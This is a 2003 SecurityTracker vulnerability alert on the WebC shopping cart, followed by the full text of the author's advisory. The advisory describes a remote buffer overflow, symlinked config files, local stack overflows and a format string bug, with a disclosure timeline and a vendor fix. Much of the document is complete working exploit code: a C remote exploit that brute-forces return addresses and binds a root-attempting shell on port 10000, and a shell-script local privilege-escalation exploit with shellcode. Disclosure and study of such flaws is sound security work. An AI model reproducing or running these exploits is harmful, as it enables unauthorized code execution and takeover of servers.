SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Commerce)  >   WebC Vendors:   AutomatedShops.com
WebC Shopping Cart Has Multiple Flaws That Allow Remote Users to Execute Arbitrary Code and Local Users to Gain Elevated Privileges
SecurityTracker Alert ID:  1006456
SecurityTracker URL:  http://securitytracker.com/id/1006456
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 3 2003
Impact:   Execution of arbitrary code via local system, Execution of arbitrary code via network, User access via local system, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.011 - 5.010
Description:   Several vulnerabilities were reported in the WebC shopping cart software. A remote user can execute arbitrary code on the system. A local user can gain elevated privileges on the system.

It is reported that webc.cgi/webc.exe component contains buffer overflow, format string, and file handling vulnerabilities.

A remote user can reportedly pass a long script name to webc.cgi to trigger a buffer overflow and cause arbitrary code to be executed:

http://[target]/cgi-bin/webc.cgi/AAAAAAAAAAA ... ( ~ 550 A chars)

It is also reported that the software does not safely process certain configuration files. A local user can create a symbolic link from a user-created file to the name of a webc.cgi configuration file in the current working directory. The software will reportedly read the configuration file (symlinked to the user-created file) from the the current working directory. If the configuration file enables process debugging, it is possible to trigger buffer overflows in the debugging section of the software and execute arbitrary code, according to the report. A demonstration exploit is described in the Source Message.

It is also reported that the software contains various stack overflows that can be triggered by a local user to execute arbitrary code with elevated privileges. The report states that if WebC is installed with set user id (setuid) root privileges, it can change its effected UID to a user-specified value (but not to "root") as set in the PATH_INFO environment variable. If debugging is enabled, the software will copy each environment variable onto the stack without performing bounds checking. This allows the local user to cause arbitrary code to be executed with the privileges of any non-root user on the system. If WebC is installed with the privileges of a specific user (instead of setuid root), the arbitrary code will run with the privileges of that specific user.

A local user may be able to obtain root group privileges in certain cases where webc.cgi has the set group id (setgid) bit set.

Finally, a format string vulnerability was reported. A local user can cause WebC to read a specially crafted 'webc.emf' file (used to store error messages) from the current working directory. If the file contains lines with format characters, the local user can cause arbitrary code to be executed.

A demonstration exploit example is provided:

020052%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. + 449 NULLs

Impact:   A remote user can execute arbitrary code on the system with the privileges of the web server. A local user can execute arbitrary code with the privileges of any non-root user on the system. A local user may be able to execute arbitrary code with root group privileges, in certain configurations.
Solution:   The vendor has released a fixed version (5.020), available at:

ftp://ftp.automatedshops.com/pub/webc/5.020

Vendor URL:  www.automatedshops.com/ (Links to External Site)
Cause:   Boundary error, Input validation error, State error
Underlying OS:  Linux (Any), UNIX (FreeBSD), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Multiple vulnerabilities in AutomatedShops WebC shopping cart


--Boundary-00=_cWDj+Fs2OUWFrKi
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


See attached advisory.
--Boundary-00=_cWDj+Fs2OUWFrKi
Content-Type: application/pgp-encrypted;
  name="CLIVITT-2003-3 (WebC).txt.asc"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="CLIVITT-2003-3 (WebC).txt.asc"

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

                Security Vulnerability Advisory
________________________________________________________________________

Product:                WebC shopping cart
Versions:               2.011 - 5.005 (Vulnerable to all exploits)
                        5.010 (vulnerable to local exploit)
Vendor:                 Automated Shops (http://www.automatedshops.com)
Platforms:              Linux/FreeBSD/Win32
Impact:                 Remote code execution
			Local privilege escalation
Advisory:               CLIVITT-2003-3
Author:	                Carl Livitt (carl [at] learningshophull.co.uk)
Date:                   April 3rd, 2003

________________________________________________________________________

Problem Description:

 WebC is a server-side scripting language that is parsed by an interpreter
 called webc.cgi (webc.exe on Win32 platforms). It is commonly used in
 e-commerce shopping cart applications on web servers such as Apache.

 Multiple vulnerabilites (buffer overflow, format string, insecure file
 handling) in webc.cgi allow remote execution of arbitrary code and local 
 privilege escalation.

________________________________________________________________________

Problem Details:

 Multiple vulnerabilities have been identified; more may exist, but as 
 WebC is a closed-source commercial application it is difficult to fully
 audit the software for all vulnerabilities. The identified problems are:
 
 (1) Remotely exploitable stack overflow
 (2) Insecure handling of config files
 (3) Locally exploitable stack overflows
 (4) Locally exploitable format string vulnerability.
 
  This advisory will tackle each issue individually.
 
 
 (1) Remotely exploitable stack overflow
 
 The webc.cgi parser can be passed the name of a WebC script to execute
 in the following manner:
 
 http://www.vuln.com/cgi-bin/webc.cgi/name-of-script
 
 By passing an long script name, it is possible to overflow a buffer on
 the stack and overwrite the saved EIP with an arbitrary value, altering
 the flow of execution and thereby running arbitrary machine code:
 
 http://www.vuln.com/cgi-bin/webc.cgi/AAAAAAAAAAA ... ( ~ 550 A chars)
 
 
 
 (2) Insecure handling of config files
 
 This is not a problem in itself, but can be leveraged to enable built-in
 debugging code which is vulnerable to stack-based overflows that can be
 locally exploited.
  
 By default, webc.cgi reads the configuration file from the current 
 working directory. By using symlink tricks, it is possible to force
 webc.cgi to read an attacker-supplied configuration file. If an attacker
 could create a config file that enables process debugging, (s)he could 
 then go on to exploit stack overflows inside the debugging code of the 
 webc.cgi binary.
 
 To fool webc.cgi into reading an attacker-supplied config file, something
 like the following could be used:
 
 $ cd /tmp
 $ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
 $ cp /usr/local/apache/cgi-bin/webc.emf .
 $ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
 $ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
 $ ./webc.cgi
 
 In this scenario, webc.cgi would detect that it is running in the /tmp
 directory and read the configuration file from there. The malicious config
 file turns on debugging, which enables - amongst other things - dumping
 the environment to a file.
 
 
 
 (3) Locally exploitable stack overflows
 
 WebC typically runs SUID root, but changes UID to a specified user before
 running any vulnerable code. The UID that it changes to is based upon the
 value given in the PATH_INFO environment variable. Typically, the variable
 will look like this:
 
 /~carl
 or
 /~foo
 or
 /~bin
 
 WebC will check to make sure that PATH_INFO does not contain the 'root' 
 username (it won't run as root) and then changes UID to whatever user was
 specified in PATH_INFO. 
 
 Alternatively, if webc.cgi is installed SUID but owned by a non-root user,
 the UID of the webc.cgi process is set to that of the file owner.
 
 After changing UID, the webc.cgi binary will then parse the environment 
 and - if debugging is enabled - dump a copy of the entire environment to a
 file. This dump is done by copying the contents of each environment 
 variable to a buffer on the stack (without bounds checking) and then 
 writing the buffer to disk. 
 
 It is therefore possible to use any environment variable to trigger a stack
 overflow, change the saved EIP and execute arbitrary machine code. If the
 webc.cgi binary is SUID root, this means an attacker can gain UID of ANY 
 user on the system EXCEPT for root. If the webc.cgi binary is SUID as a
 normal user, then an attacker can gain the privileges of that user.
 
 It should be noted that the root check is not performed for binaries that
 have the SGID bit set. It is possible for an attacker to gain root group
 privileges if the webc.cgi has mode 2755 or 6755 (or other permutation such
 as 6111, 2711 etc etc).
 
 Note that debugging must be enabled in the webc.ini file for an attacker
 to be able to exploit this condition. That is why (2) above is classed as
 a vulnerability.
 
 
 (4) Locally exploitable format string vulnerability
 
 WebC uses a file called 'webc.emf' to store its error messages. These are
 referenced by a unique ID number and are cached when webc.cgi starts up.
 
 In the same way that webc.cgi can be fooled into reading a fake webc.ini,
 it is possible to also load a fake webc.emf. By inserting format strings
 into the file, it is possible to perform any one of the many format string
 attacks that have been brought to light in recent years.
 
 The format of the webc.emf file is as follows:
 
 xxxxxxmmmmmmm (512 m's)
 
 'xxxxxx' represents a 6-digit error code identifier. 'm' is a 512 byte
 error message relevant to the error code. If the error message is less
 than 512 bytes, it should be padded with NULLs (0x00). An example of a
 malicious webc.emf would look something like:
 
 020052%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. + 449 NULLs
 
 As yet no exploits have been written for this, as a stack dump was gained
 from the above example code and no further testing was seen to be needed.
 
_______________________________________________________________________

Vendor notification timeline:
 
  6th Feb 2003: Initial vendor notification (via email) of remote flaw.
 
 11th Feb 2003: Received response from vendor. A partial quote:
> Engineering has not fully completed our investigation but it is our
> conclusion at the moment after a glossary review of the code that WebC
> fully allocates all variables correctly for the maximum size and the fault
> occurs when the file name is passed to Unix

 17th Feb 2003: By now, AutomatedShops are aware that it is their product
                that has the problem, not 'Unix'. I notify them of the
		locally exploitable overflows.
		
 20th Feb 2003: Received a beta version of WebC containing fixes. Tests Ok.
 20th Feb 2003: Find format-string vulns and notify vendor.
 
  5th Mar 2003: Request status update from vendor. None received.
  
 11th Mar 2003: Request status update from vendor. Explain that advisory
                will be released to security community unless vendor is
		not ready for release yet.
 11th Mar 2003: Vendor replies asking to hold off until 31st March. They
                need more time to do a complete source review.
		
  2nd Apr 2003: Request status from vendor. None received. Checked FTP site
                and new version has been ready since 17th March.
		
  3rd Apr 2003: Released this advisory.
  

_______________________________________________________________________

Updated Packages:

 Version 5.020 is now available from the vendor via anonymous FTP for all
 platforms:
 
 ftp://ftp.automatedshops.com/pub/webc/5.020

________________________________________________________________________

Advisory Author Details:

 Email: carl at learningshophull dot co dot uk
 PGP key:
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.0 (GNU/Linux)

mQGiBD3rgEgRBACkZW1OlRo0Mn+4IZPQWynQ/H27aLysLrXk14fYQjABxhuyGfqA
N20xSXfpe236BncG0JgGZe1UYgbj1R08MAVnw6cVQGZENxSxs8hFcKClCMoWRqd1
LU/P3U1MmFJDztCZwjbg61jS0ajRjGRnzgrhxBCZDycD9onYP6BvXPuqqwCg2tPW
cJmRcLK5GggicNcV1ZQrG70D/3+FNc18TVbZ2/dUjb2Y5d9AGS86FFmQosiuHXpx
vgQgDseddEeCg/yxETqTAA+gOvY3NKm9wD6sCmakwqg1SYTpeswA8/3ceRaOjJjw
3VKPbZOSNubCl09Sgp0xqwiM6xSQxozvuQKoxB0zwvJrVEW7KIEG2aHEOocZsFYX
6IZ2A/9ePnfCOEAiTHs2+gYuoHXUs1+lXgLl1Qv+J0hHdNh50LT5aDx6ih39VXID
FiKPw3MMznDhdAOW6gOQEA3QJAEn8uQU66xGzlPEkefutWDibd+zT6O54z259xcv
9VTgiAiNThfucc+KyIA2SKro8FyEQzghZBM4v+sAnN9VZBITCbQpQ2FybCBMaXZp
dHQgPGNhcmxAbGVhcm5pbmdzaG9waHVsbC5jby51az6IXwQTEQIAHwUCPeuASAUJ
CWYBgAQLBwMCAxUCAwMWAgECHgECF4AACgkQMeVo6vqTjEsRiQCgiQaL0VSEiEMA
ZqKvsR8Ctg6y5QwAoNIOTj+CCyGXgys+3secZJLk03LMuQINBD3rgF0QCAC23Kb8
5HW36DuwtFlM1HJr2RAnbVxPlcmBWNMg+tJDFjGCVbMhiZOR7+4A+JpLNtkAJH8j
PGCexuBhlVTTgaA2uBwrIVLWDh41IvrZrhafqxhsUywtiGvd1CXD+s2hhvlMbof+
C/6cbOdriFv+qtJWOwc0i14tb2wA36k7yYdOl0X3+hBGiJyt1DnEQCnT6LanYYtF
GuvL7T8fO2LHYoTPSvMmdv6l4YSSw3WFXqoodaGeO1rah7cPeBk6+obDeRuzZiLV
hQxiB2OzNmF1P/NBNqKjUu2kgLrCV6KJtcpJLqgzYgy/p2vx6AXp4oOG74D2Xen/
/AzGO+FDCNt3Mhc7AAMFB/9DtD1Kq7F5QiYMvLYZGYA7LSiGb/oaq5wxaG5Mc09t
szqQZMDGVsyuBvJ/zI+YnsHS5yK0vnQ4vrZ2IoAyJAChAuI85yg6eh4tG93ZxhTa
xBJP9dep4H+cd/ZNawD35nMZte54TBylATezUBXSAecnCGNlY+0M9w4ijXujDAH/
2eq1S5pyc44sgUsvyXE+UVdOr4c5B5z9OxLynbpE98A11lJP/0NkRGRgVVykfdRw
8eq9DdaL9NIJyG5mkWEJLPf21vLKFxtU6eeHDVHfv33UiRPKZlFX6rddY6EaGUeS
a/HD2p/cA/7c5I/R5awZdmc9f7DZc4A6H6qfz6z8NNILiEwEGBECAAwFAj3rgF0F
CQlmAYAACgkQMeVo6vqTjEutUACghkYYFWPHLdF8IaqBRV7U086XYTsAoNVLwSAl
+Zf0MoBdqnGDxPXhfLch
=fp0k
- -----END PGP PUBLIC KEY BLOCK-----

________________________________________________________________________

Exploit Sourcecode:

I debated with myself and the vendor about releasing exploit code. They
explained that they only maintain versions >= 4 of WebC, and - as far as
I can tell - versions 2.011 through 3 are no longer supported by anybody.

After consideration, I am still a believer in full disclosure as a means
of pressurising vendors to fix buggy software. Therefore, I will release
two exploits - a remote one and a local one. Neither of them are as nasty
as they could be, but they serve to prove the concept of the security
flaws present in this software.

Firstly, an exploit that will bind a shell to a user-specified port on
the victim box:

/*
 AutomatedShops WebC 2.011 -> 5.005 remote exploit.
 By Carl Livitt 3/Apr/2003

 ** PUBLIC RELEASE VERSION - Linux targets only **

 Usage:

    ./webc-exploit -t HOSTNAME
    
 Brute-forces all necessary values. YMMV.

*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>

/*
 * Play with these to make it work (if it fails!)
 */
#define RET_ADDR_START	0xbfffe949
#define RET_ADDR_END	0xbffff850
#define RET_ADDR_INCR	768
#define EBP_ADDR_START 	0xbfffe84c
#define EBP_ADDR_END	0xbffff852
#define EBP_ADDR_INCR	768
#define ROOT_SHELL_PORT 10000
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"

// don't adjust this
#define BUF_SIZE 2048

void make_shellcode(int);
void make_exploit_buffer();
void make_boundary_buffer();

char shellcode[] =
	// setuid(0),setgid(0)... (just in case ;)
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

	// ...fork(). Parent terminates, killing webc.cgi but
	// leaving child process as a daemon...
	"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
	"\xb0\x01\xcd\x80"

	// ...finally, bind shell (/bin/sh) to port 10000 (by default).
	// This is a butchered version of port-binding shellcode by
	// BigHawk.
        "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
        "\x89\xc7\x52\x66\x68"
        "XX" // XX is port number - gets filled in later
        "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
        "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
        "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
        "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

char sc[BUF_SIZE*2+2];
char exploit_buf[100000];
char target[256];
int port=80;
//char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000];
char orig_location[4096]="/cgi-bin/webc.cgi/~carl/g/", location[100000];
unsigned long RET_ADDR, EBP_ADDR;
int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;

char usage[]=
"Options:\n"
"-h           This cruft\n"
"-t hostname  Specify target host\n"
"-a n         Add extra padding, start at value 'n'\n"
"-A n         Add extra padding, stop at value 'n'\n\n"
"Usage:\n\n"
" ./webc-exploit -t localhost\n\n"
"Should work on any WebC installation (versions 5.001 - 5.005)\n\n";

char greeting[]=
"WebC 5.00x proof-of-concept exploit for Linux\n"
"By Carl Livitt, Feb 2003\n\n";

char thingy[]="|/-\\";

/*
 * The fun begins here...
 */

main(int argc, char **argv) {
	int ch, websock, shellsock,r=1;
	struct hostent *host;
	struct sockaddr_in saddr;
	char buf[8092];
	char cmd[256];
	int tries=0;
	struct timespec sleepTime;
	fd_set rfds;
	int retval, PADDING_START, PADDING_END;
	int thingyCount=0;
		
	printf("%s",greeting);
	PADDING_START=550;
	PADDING_END=800;
	while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
		switch(ch) {
			case 'h':
				printf("%s",usage);
				exit(0);
				break;
			case 't':
				strncpy(target, optarg, sizeof(target)-1);
				break;
			case 'a':
				PADDING_START=atoi(optarg);
				break;
			case 'A':
				PADDING_END=atoi(optarg);
				break;
			default:
				printf("%s", usage);
				exit(0);
				break;
		}
	}	
	
	if((host=gethostbyname(target))==NULL) {
		printf("Host not found. Usage:\n%s\n", usage);
		exit(1);
	}
	
	/*
	 * Start the bruteforce loop
	 */
	for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
		for(EBP_ADDR=EBP_ADDR_START; EBP_ADDR<EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR) {
			for(PADDING=PADDING_START;PADDING<=PADDING_END;PADDING++){
			for(ORDER=0;ORDER<=1;ORDER++) {
			repeat=5;
			while(repeat--) {
			printf("Please wait, this may take a few minutes... %c\r",thingy[thingyCount]);fflush(stdout);
			/*
		 	 * Setup the exploit strings and
	 		 * HTTP headers. The Accept-Encoding header
	 		 * will hold shellcode: it will be passed
	 		 * to the environment of webshell giving us
	 		 * a reasonably predictable RET address.
	 		 */
			make_shellcode(ORDER);
			make_boundary_buffer();
			make_exploit_buffer();
		
			/*
	 		 * Now connect to the host and send the exploit
	 		 * string...
	 		 */
			if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
				perror("socket()");
				exit(1);
			}
			memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
			saddr.sin_family=AF_INET;
			saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
			saddr.sin_port=htons(port);
			if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
				perror("connect()");
				exit(1);
			}
			send(websock, exploit_buf, strlen(exploit_buf), 0);
			len=recv(websock, buf, sizeof(buf)-1, 0);
			if(len > 0) {
				printf("TRYING: RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat);
				printf("%s\n\n", buf);
			}
			close(websock);
			
			// increment the counters 
			tries++;
			if((++thingyCount)==4)
				thingyCount=0;

			// attempt to connect to port 10000 (or other, non-default port).
			// If successful, we know the exploit succeeded.
			if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                perror("socket()");
                                exit(1);
                        }
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                        saddr.sin_family=AF_INET;
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                        saddr.sin_port=htons(root_shell_port);
                        if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
                                goto CONNECTED; // goto? Damn amateurs...
                        close(shellsock);
			EBP_ADDR--;
			} // repeat
			} // ORDER
			} // PADDING
		} // EBP_ADDR
	} // RET_ADDR
	/*
	 * If we get here, then the bruteforce was exhausted without a
	 * succesful exploit.
	 */
	printf("Exploit failed.\n");
	exit(0);

CONNECTED:
        /*
         * We're now connected to the remote host. Issue
         * some commands... ('id' and 'uname -a' by default)
         */
        printf("\n------------------------------------\nExploit successful!\n");
	printf("Explit values were:\n");
	printf("RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat);
	printf("--------------------------------------\nIssuing some commands...\n\n");
        if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
                perror("send()");
                exit(1);
        }
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
        printf("%s", buf);
        send(shellsock, COMMAND2, strlen(COMMAND2), 0);
        buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
        printf("%s\n", buf);
        printf("You are now at a bash prompt...\n");
        send(shellsock, "export TERM=vt100; exec bash -i\n",strlen("export TERM=vt100; exec bash -i\n"),0);

        /*
         * Now let the attacker issue commands to the remote
         * shell, just as if (s)he had launched 'nc host 10000'.
         * Note the dodgy coding of assigning NULLs to the buf[]
         * array. What would happen if recv() or read() returned -1 ?
         */
        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(shellsock, &rfds);
                retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
                if(retval) {
                        if(FD_ISSET(shellsock, &rfds)) {
                                buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
                                printf("%s", buf);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
                                send(shellsock, buf, strlen(buf), 0);
                        }

                }
        } while(retval && r); // loop until connection terminates
        close(shellsock);
        exit(0);
}	

/*
 * Create the HTTP request that will setup the exploit
 * conditions in webshell. Shellcode is stored in the 
 * Accept-Encoding HTTP header.
 */
void make_exploit_buffer() {
	sprintf(exploit_buf,"GET %s HTTP/1.1\n",location);
	sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
	sprintf(exploit_buf,"%sAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\n",
 exploit_buf);
	sprintf(exploit_buf,"%sAccept-Language: en-gb, en;q=0.66, en-us;q=0.33\n", exploit_buf);
	sprintf(exploit_buf,"%sAccept-Encoding: gzip, deflate, compress;q=0.9\n", exploit_buf);
	sprintf(exploit_buf,"%sAccept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\n", exploit_buf);
	sprintf(exploit_buf,"%sCookie: ck_ams=00000; ck_amsv=11043763620; ck_sid=3J4EUD0l4Juf1ev-06103517452.aa\n", exploit_buf);
	sprintf(exploit_buf,"%sAccept-Encoding: %s\n\n",exploit_buf, sc);
	//printf("%s\n\n", exploit_buf);
}

/*
 * Create the buffer that overflows the stack...
*/ 
void make_boundary_buffer() {
	int i;
	char *ptr;
	const int MAGIC=59;
	
	memset(location, 0, sizeof(location));
	strcpy(location, orig_location);
	ptr=location;
	while(*ptr)
		++ptr;
	i=PADDING%4;
	while(i--)
		*(ptr++)=0xbf;	
	i=MAGIC+(PADDING/4)-4;
	while(i--) {
		*(ptr++)=EBP_ADDR&0xff;
	        *(ptr++)=(EBP_ADDR>>8)&0xff;
        	*(ptr++)=(EBP_ADDR>>16)&0xff;
	        *(ptr++)=(EBP_ADDR>>24)&0xff;
	}
	*(ptr++)=RET_ADDR&0xff;
        *(ptr++)=(RET_ADDR>>8)&0xff;
       	*(ptr++)=(RET_ADDR>>16)&0xff;
        *(ptr++)=(RET_ADDR>>24)&0xff;
	*ptr='\0';
}

/*
 * Creates a buffer holding NOPs and shellcode.
 */
void make_shellcode(int order) {
	char *ptr;
	int i;

	// Finish making shellcode buffer
	memset(sc, 0x90,BUF_SIZE);
	memcpy(sc + BUF_SIZE - (strlen(shellcode)+1), shellcode, strlen(shellcode));

	// Fill in the port number
	ptr=strstr(sc, "XX");
	*(ptr++)=htons(root_shell_port)&0xff;
	*ptr=(htons(root_shell_port)>>8)&0xff;

	ptr=(char *)sc+BUF_SIZE;
	for(i=0;i<BUF_SIZE-4;i+=4) {
		switch(order) {
			case 0:
				*(ptr++)=RET_ADDR&0xff;
			        *(ptr++)=(RET_ADDR>>8)&0xff;
			        *(ptr++)=(RET_ADDR>>16)&0xff;
			        *(ptr++)=(RET_ADDR>>24)&0xff;	
				break;
			case 1:
				*(ptr++)=(RET_ADDR>>16)&0xff;
			        *(ptr++)=(RET_ADDR>>24)&0xff;	
				*(ptr++)=RET_ADDR&0xff;
			        *(ptr++)=(RET_ADDR>>8)&0xff;
				break;
		}
	}
	*ptr='\0';
}
// END OF REMOTE EXPLOIT


And a local one, which will spawn a shell with the privs of the user who
owns the webc.cgi binary (as long as it's not root.) This could be expanded
to gain the privs of ANY USER on the system (but not root).

Note that the stack is munged by the overwriting of EIP and needs to be
recreated exactly as it was before the overflow occurs...

#!/bin/sh
#
# WebC 5.00x (possibly earlier) local exploit
# By Carl Livitt - 3/Apr/2003
#
# ** PUBLIC RELEASE VERSION **
#
# Make sure and change the paths below to match
# the installation of the victim host.
#
# This exploit will get privs of the user WebC
# is installed SUID as (except root - WebC will
# refuse to run as root). So, if webc.cgi is
# installed SUID and owned by 'admin', you get
# 'admin' rights. If it is GUID, then you get
# that too. Handy for GUID root installs...
#
# Usage: ./webc-local-exploit.sh
#
# Note: if the debugging files debug[12] 
# cannot be written, the exploit will fail. 
# debug1 is for debugging as your user id, 
# debug2 is for debugging as SUID user id. The
# two must be different files.
#
# Note 2: It is possible (theoritcally - I haven't
# tested it) to exploit this vuln to gain privs
# of ANY user (except root) using this vuln.
# By using a PATH_INFO value of /~username, it 
# should be possible to gain 'username' privs.
#
# Note 3: When exploiting this vuln and overwriting EIP,
# the least significant byte of the data after EIP gets
# overwritten by a NULL. This is a shame, as the byte
# is needed by the exploitable function before returning.
# This causes a crash. It is therefore necessary to 
# not only overwrite EIP, but reconstruct the stack after
# EIP to _exactly_ the way it was before EIP overwrite.
# To do this, the exploit uses GDB to set breakpoints,
# dump the stack, construct the exploit string containing
# the correct data from the stack and then actually run
# the exploit proper. This avoids a crash and allows a
# successful exploit to take place.
#
# Note 4: It's not just the QUERY_STRING environment
# variable that causes an overflow; any env var will do.
# I just chose QUERY_STRING arbitrarily. 
#
# Final note (I promise): Debugging must be turned on in
# the WebC config file for this exploit to work. The 
# overflow actually occurs in the debug routines. Luckily,
# it is possible to make WebC read any config file you like
# due to insufficient checking in the config parsing code,
# so it is possible to force debugging mode.
#


##
## CHANGE THESE TO SUIT THE WEBC INSTALLATION
##
webc_binary=/usr/local/apache/cgi-bin/webc.cgi
webc_emf=/usr/local/apache/cgi-bin/webc.emf

##
## Other things you can tinker with if you like
##
webc_exploit_dir=/tmp/.webc_exploit_dir


#############################################
## You shouldn't need to tinker below here ##
#############################################


#
# Prepare the environment for debugging...
#
export REQUEST_METHOD=GET
export REMOTE_ADDR=127.0.0.1
export PATH_INFO=a
export QUERY_STRING=`perl -e 'print "a"x1034'`

#
# Create a fake webc.ini that enables debugging. This allows us to
# exploit the overflow.
#
pushd . >& /dev/null
if [ -d "$webc_exploit_dir" ]; then rm -Rf "$webc_exploit_dir"; fi
mkdir "$webc_exploit_dir"
cd "$webc_exploit_dir"
chmod 777 .
cat << WEBCINI > webc.ini
WEBC_SU_OWNER=True
WEBC_NO_SECURITY_CHECK=True
HTML_TRACE_REQUEST=/tmp/.debug1
WEBCINI
chmod 666 webc.ini
ln -s $webc_binary webc.cgi
cp $webc_emf .
chmod 666 webc.emf

#
#Create a command file for GDB that dumps the portion of webc.cgi's
# stack that we will need to recreate after overwriting the saved EIP.
#
rm -f gdb.keys gdb.out >& /dev/null
cat << EOF > gdb.keys
break *0x805a84c
break *0x8055123
r
x/100x \$ebp
q
y
EOF
chmod 666 gdb.keys

#
# Run GDB and strip out the stack values we need
#
gdb -q ./webc.cgi --command gdb.keys &> gdb.out
cat gdb.out | grep '0x' | grep -v Breakpoint | cut -f2- -d: >gdb.out
rm /tmp/.debug1

#
# Now construct a valid C string containing the stack values in
# little-endian byte order using some of the scrattiest Perl I've
# ever written :)
#
if [ -f "addrs.txt" ]; then rm addrs.txt; fi
skip=0
for i in `cat gdb.out`; do
	skip=$((skip+1))
	if [ $skip -le 2 ]; then continue; fi
	if [ "$i" == "0x00000000" ]; then break; fi
	echo $i 2>&1 | grep -q '0x00'
	if [ $? -eq 0 ]; then
		perl -e "\$d=substr(\"$i\",8,2);\$c=substr(\"$i\",6,2);\$b=substr(\"$i\",4,2);\$a=substr(\"$i\",2,2);if(\$d!~/00/){print '\x'.\$d;}if(\$c!~/00/){print
 '\x'.\$c;}if(\$b!~/00/){print '\x'.\$b;}" >> addrs.txt
		break	
	fi
	perl -e "\$a=substr(\"$i\",2,2);\$b=substr(\"$i\",4,2);\$c=substr(\"$i\",6,2);\$d=substr(\"$i\",8,2);print '\x'.\$d.'\x'.\$c.'\x'.\$b.'\x'.\$a"
 >> addrs.txt
done

#
# Assign the C string to an evironment variable
#
STACK_VARS="\"`cat addrs.txt`\""

#
# Create a C program that will exploit the overflow and recreate
# the obliterated stack frames in webc.cgi
# 
cat << CFILE > local.c
char shellcode[]=
    "\xb9\xff\xff\xff\xff\x31\xc0\xb0\x31\xcd\x80\x89"
    "\xc3\xb0\x46\xcd\x80\x31\xc0\xb0\x32\xcd\x80\x89"
    "\xc3\xb0\x47\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1"
    "\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
char egg[2000];
main() {
        memset(egg, 0, 2000);
        memset(egg, 0x90, 1039);
        memcpy(egg + 1039 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
	strcat(egg, "\xd0\xfa\xff\xbf"); //RET address works in almost all cases
	strcat(egg, $STACK_VARS);
        setenv("REQUEST_METHOD=GET");
        setenv("REMOTE_ADDR=127.0.0.1");
        setenv("PATH_INFO=a");
        setenv("QUERY_STRING", egg, 1);
        system("./webc.cgi");
}
CFILE

#
# Recreate webc.ini to use a different debug file
#
cat webc.ini|sed 's/debug1/debug2/' >webc.ini

#
# Compile and execute the exploit...
#
gcc -o local local.c
chmod 777 local
./local

#
# Clean up the /tmp dir and exit
#
cd /tmp
rm -Rf "$webc_exploit_dir"
popd >& /dev/null
exit 0
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

